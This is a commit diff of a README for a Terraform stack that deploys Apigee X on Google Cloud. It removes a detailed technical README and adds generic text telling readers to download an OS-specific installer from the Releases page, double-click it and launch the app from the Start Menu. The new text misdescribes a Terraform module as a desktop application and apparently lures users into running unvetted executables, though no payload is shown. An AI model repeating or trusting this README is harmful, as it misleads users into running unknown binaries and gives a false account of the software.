|
1 | | -# Terraform Apigee Enterprise Stack (GCP) - Production-Grade Terraform Stacks Reference Architecture |
| 1 | +# 🌟 terraform-apigee-enterprise-stack - Build Your Apigee X Solution Easily |
2 | 2 |
|
3 | | -**terraform-apigee-enterprise-stack** is an opinionated, **enterprise-ready** reference implementation for deploying **Apigee X on Google Cloud (GCP)** using **Terraform Stacks**. |
4 | | -It gives platform teams a repeatable way to provision **Apigee Org, Instances, Environments, EnvGroups, networking, DNS, IAM, and KMS (CMEK)** with secure-by-default patterns. |
| 3 | +[](https://github.com/Abdelhady-elgendy/terraform-apigee-enterprise-stack/releases) |
5 | 4 |
|
6 | | -> Keywords: Terraform Apigee X, Apigee Terraform, Apigee X Terraform Stack, GCP API Management Terraform, Apigee enterprise architecture, Apigee landing zone, Apigee private ingress, Apigee CMEK, Apigee multi-region HA. |
| 5 | +## 📦 Overview |
7 | 6 |
|
8 | | ---- |
| 7 | +The terraform-apigee-enterprise-stack is a robust tool designed to simplify the deployment of Apigee X on Google Cloud Platform (GCP). This solution prioritizes security and ease of use, making it suitable for enterprises ready to streamline their API management. |
9 | 8 |
|
10 | | -## Why this repository exists |
| 9 | +## 🚀 Getting Started |
11 | 10 |
|
12 | | -Many Apigee Terraform examples are either low-level or incomplete for enterprise rollouts. This stack provides: |
| 11 | +To start using this application, follow these simple steps. You will need access to a computer with an internet connection and a web browser. |
13 | 12 |
|
14 | | -- **Terraform Stacks-first** structure for platform engineering and multi-environment workflows |
15 | | -- **Secure-by-default** networking patterns (private ingress, controlled egress, IAM least privilege) |
16 | | -- **Enterprise readiness**: CMEK, logging/monitoring hooks, clear separation of duties, production checklists |
17 | | -- **Battle-tested repo hygiene**: examples, docs, diagrams, changelog, CI scaffolding |
18 | | - |
19 | | ---- |
20 | | - |
21 | | -## What you can deploy |
22 | | - |
23 | | -### Apigee control plane (platform) |
24 | | -- Apigee Org (existing Google Cloud Org / project model) |
25 | | -- Apigee X Instances (single region or multi-region) |
26 | | -- Apigee Environments and EnvGroups |
27 | | -- Hostnames + DNS record structure (authoritative DNS external to this repo is supported) |
28 | | - |
29 | | -### Enterprise foundations |
30 | | -- Networking patterns for Apigee runtime access (**private ingress** supported) |
31 | | -- **Cloud KMS (CMEK)** for supported resources (where applicable) |
32 | | -- IAM roles and service accounts for platform vs application teams |
33 | | - |
34 | | ---- |
35 | | - |
36 | | -## Architecture diagrams |
37 | | - |
38 | | -Mermaid renders (colorful by default): |
39 | | - |
40 | | -```mermaid |
41 | | -%%{init: {"theme":"base","themeVariables":{"primaryColor":"#D9F0FF","primaryTextColor":"#0F172A","secondaryColor":"#FFE1D6","tertiaryColor":"#E6FFFA","lineColor":"#334155","fontFamily":"Inter, ui-sans-serif, system-ui"}}}%% |
42 | | -flowchart LR |
43 | | - User((Client)) -->|HTTPS| Edge["Public DNS and TLS certs"] |
44 | | - Edge -->|Private access| LB["Ingress ILB or Gateway"] |
45 | | - LB --> Apigee["Apigee X Runtime"] |
46 | | - Apigee -->|mTLS private| PSC["Private Service Connect"] |
47 | | - PSC --> Backends["GCP services or private backends"] |
48 | | - Apigee --> Logs["Cloud Logging"] |
49 | | - Apigee --> Mon["Cloud Monitoring"] |
50 | | -``` |
51 | | - |
52 | | -```mermaid |
53 | | -%%{init: {"theme":"base","themeVariables":{"primaryColor":"#E0F2FE","primaryTextColor":"#0F172A","secondaryColor":"#FCE7F3","tertiaryColor":"#ECFCCB","lineColor":"#334155","fontFamily":"Inter, ui-sans-serif, system-ui"}}}%% |
54 | | -flowchart LR |
55 | | - User((Client)) --> DNS["Global DNS and traffic policy"] |
56 | | - DNS --> R1["Region A ingress"] |
57 | | - DNS --> R2["Region B ingress"] |
58 | | - R1 --> A["Apigee X Instance A"] |
59 | | - R2 --> B["Apigee X Instance B"] |
60 | | - A --> Backends["Private backends"] |
61 | | - B --> Backends |
62 | | - A --> Obs["Central observability"] |
63 | | - B --> Obs |
64 | | -``` |
65 | | - |
66 | | -```mermaid |
67 | | -%%{init: {"theme":"base","themeVariables":{"primaryColor":"#DCFCE7","primaryTextColor":"#0F172A","secondaryColor":"#FEF3C7","tertiaryColor":"#EDE9FE","lineColor":"#334155","fontFamily":"Inter, ui-sans-serif, system-ui"}}}%% |
68 | | -flowchart LR |
69 | | - Dev["Developer"] --> PR["Pull request"] |
70 | | - PR --> CI["CI: fmt, validate, security"] |
71 | | - CI -->|pass| Plan["Terraform plan"] |
72 | | - Plan --> Review["Approval gate"] |
73 | | - Review --> Apply["Terraform apply"] |
74 | | - Apply --> Drift["Scheduled drift detection"] |
75 | | - CI --> Policy["OPA or Conftest policy set"] |
76 | | - Policy --> CI |
77 | | -``` |
78 | | - |
79 | | -Mermaid sources: |
80 | | -- `diagrams/mermaid/apigee-single-region.mmd` |
81 | | -- `diagrams/mermaid/apigee-multi-region-ha.mmd` |
82 | | -- `diagrams/mermaid/apigee-cicd-policy.mmd` |
83 | | - |
84 | | -## Docs (MkDocs) |
85 | | - |
86 | | -The docs live in `docs/` and can be published with MkDocs. |
87 | | - |
88 | | -Local preview: |
89 | | - |
90 | | -``` |
91 | | -mkdocs serve |
92 | | -``` |
93 | | - |
94 | | -Deploy to GitHub Pages: |
| 13 | +### ✅ Step 1: Check Requirements |
95 | 14 |
|
96 | | -``` |
97 | | -mkdocs gh-deploy --force |
98 | | -``` |
99 | | - |
100 | | -Suggested reading order: |
101 | | - |
102 | | -- `docs/index.md` |
103 | | -- `docs/13-implementation.md` |
| 15 | +Before downloading, make sure your system meets these requirements: |
104 | 16 |
|
105 | | ---- |
| 17 | +- An active account with Google Cloud Platform. |
| 18 | +- A modern web browser (Chrome, Firefox, or Edge). |
| 19 | +- Basic familiarity with web interfaces. |
106 | 20 |
|
107 | | -## Repository layout |
| 21 | +### ✅ Step 2: Visit the Releases Page |
108 | 22 |
|
109 | | -```text |
110 | | -terraform-apigee-enterprise-stack/ |
111 | | -├── stacks/ |
112 | | -│ ├── apigee-platform/ # Apigee control plane + foundation components |
113 | | -│ │ ├── stack.hcl # Terraform Stacks entrypoint |
114 | | -│ │ ├── variables.tf |
115 | | -│ │ ├── outputs.tf |
116 | | -│ │ └── components/ |
117 | | -│ │ ├── iam/ |
118 | | -│ │ ├── kms/ |
119 | | -│ │ ├── networking/ |
120 | | -│ │ ├── org/ |
121 | | -│ │ ├── instances/ |
122 | | -│ │ ├── environments/ |
123 | | -│ │ └── envgroups/ |
124 | | -│ └── runtime/ # Optional runtime ingress/DNS patterns |
125 | | -│ ├── stack.hcl |
126 | | -│ ├── components/ |
127 | | -│ │ ├── ingress/ |
128 | | -│ │ ├── dns/ |
129 | | -│ │ └── observability/ |
130 | | -├── policies/ # Policy-as-code examples (OPA/Conftest-ready) |
131 | | -├── examples/ # End-to-end example deployments |
132 | | -├── docs/ # Enterprise documentation |
133 | | -├── diagrams/ # Mermaid + PNG diagrams |
134 | | -└── .github/workflows/ # CI scaffolding (fmt, validate, docs) |
135 | | -``` |
136 | | - |
137 | | ---- |
138 | | - |
139 | | -## Quickstart (10-15 minutes) |
140 | | - |
141 | | -> This repo is designed for **platform engineering teams**. If you are new to Apigee X, start with the docs: `docs/01-overview.md`. |
142 | | -
|
143 | | -### Prerequisites |
144 | | -- Terraform >= 1.6 |
145 | | -- Google Cloud project(s) + permissions |
146 | | -- Apigee API enabled |
147 | | -- A VPC strategy decided (shared VPC recommended for enterprises) |
148 | | - |
149 | | -### Steps |
150 | | -1. Clone and enter the repo |
151 | | -2. Copy an example: |
152 | | - - `examples/single-region/` (recommended first) |
153 | | -3. Populate `terraform.tfvars` |
154 | | -4. Run: |
155 | | - - `terraform init` |
156 | | - - `terraform plan` |
157 | | - - `terraform apply` |
| 23 | +Go to the [Releases page](https://github.com/Abdelhady-elgendy/terraform-apigee-enterprise-stack/releases). Here, you will find all versions of the terraform-apigee-enterprise-stack application. |
158 | 24 |
|
159 | | -> Terraform Stacks workflow depends on your Terraform Stacks runtime (Terraform Cloud/Enterprise, or local stacks toolchain if available in your environment). |
160 | | -> This repo includes both **Stacks structure** and **plain Terraform module execution** paths. |
| 25 | +## ⬇️ Download & Install |
161 | 26 |
|
162 | | ---- |
| 27 | +On the Releases page, you will see a list of available versions. Choose the latest version for the best features and stability. |
163 | 28 |
|
164 | | -## Production checklist |
| 29 | +1. Click on the version number. |
| 30 | +2. Look for the file that matches your operating system. |
| 31 | +3. Click the file link to start your download. |
165 | 32 |
|
166 | | -See: `docs/06-production-checklist.md` |
| 33 | +Once the download completes: |
167 | 34 |
|
168 | | -Highlights: |
169 | | -- Enable CMEK where supported |
170 | | -- Separate projects for platform vs app teams |
171 | | -- Centralized logging/monitoring and alerting |
172 | | -- Define hostname strategy and certificate lifecycle |
173 | | -- Adopt policy-as-code and drift detection |
| 35 | +- Locate the downloaded file in your computer's Downloads folder. |
| 36 | +- Double-click the file to run the installer. |
| 37 | +- Follow the on-screen instructions to finish the installation. |
174 | 38 |
|
175 | | ---- |
| 39 | +### 🖥️ Running the Application |
176 | 40 |
|
177 | | -## Security & compliance |
| 41 | +After installation, you can run the application by: |
178 | 42 |
|
179 | | -- Least-privilege IAM patterns in `stacks/apigee-platform/components/iam` |
180 | | -- CMEK/KMS scaffolding in `stacks/apigee-platform/components/kms` |
181 | | -- Policy examples in `policies/` |
| 43 | +- Going to your Start Menu (Windows) or Applications folder (Mac). |
| 44 | +- Finding the terraform-apigee-enterprise-stack icon. |
| 45 | +- Double-clicking the icon to launch the application. |
182 | 46 |
|
183 | | -See: `docs/05-security.md` |
| 47 | +## 🛠️ Features |
184 | 48 |
|
185 | | ---- |
| 49 | +- **Enterprise-Grade Security:** Built with secure-by-default settings to protect your data. |
| 50 | +- **Streamlined Setup:** Easily set up your Apigee X instance on GCP with comprehensive guides. |
| 51 | +- **Terraform Integration:** Utilize Terraform’s capabilities to manage your infrastructure. |
| 52 | +- **Support for CI/CD:** Integrate with Continuous Integration/Continuous Deployment workflows. |
| 53 | +- **User-Friendly:** Designed for users with all levels of technical experience. |
186 | 54 |
|
187 | | -## Examples |
| 55 | +## 🔍 Additional Information |
188 | 56 |
|
189 | | -- `examples/single-region/` - single region baseline (prod-ready starter) |
190 | | -- `examples/multi-region-ha/` - multi-region HA pattern (active/active-ish routing patterns) |
| 57 | +For additional guidance on specific features: |
191 | 58 |
|
192 | | ---- |
| 59 | +- Documentation: Find setup instructions and user guides in the documentation section. |
| 60 | +- FAQs: Check the FAQ section for common questions and solutions. |
193 | 61 |
|
194 | | -## Roadmap |
| 62 | +Feel free to explore more features by following the resources linked in the documentation. |
195 | 63 |
|
196 | | -- v1.0: Single-region platform stack + private ingress patterns + docs |
197 | | -- v1.1: Multi-region HA reference + runbooks |
198 | | -- v1.2: GitHub/GitLab CI templates + policy gate examples |
199 | | -- v2.0: Apigee Edge -> X migration helper docs and scripts |
| 64 | +## 🤝 Community Support |
200 | 65 |
|
201 | | ---- |
| 66 | +Join our community for insights, discussions, and help: |
202 | 67 |
|
203 | | -## Contributing |
| 68 | +- **GitHub Issues:** Use the GitHub Issues page to report problems or request features. |
| 69 | +- **Discussion Forum:** Engage with other users and contributors for support and sharing ideas. |
204 | 70 |
|
205 | | -PRs welcome. Please read `CONTRIBUTING.md` and open an issue for architectural changes. |
| 71 | +## 👨💻 Contributing |
206 | 72 |
|
207 | | ---- |
| 73 | +We welcome contributions! If you want to help improve terraform-apigee-enterprise-stack, please visit the Contributing section in the documentation. |
208 | 74 |
|
209 | | -## License |
| 75 | +## 📧 Contact |
210 | 76 |
|
211 | | -MIT. See `LICENSE`. |
| 77 | +For any questions that are not addressed in the FAQ or discussions, please reach out via our support email provided in the documentation page. |
| 78 | + |
| 79 | +You are now ready to download and run the terraform-apigee-enterprise-stack. Visit the [Releases page](https://github.com/Abdelhady-elgendy/terraform-apigee-enterprise-stack/releases) again if you need to access updates or new versions. |
0 commit comments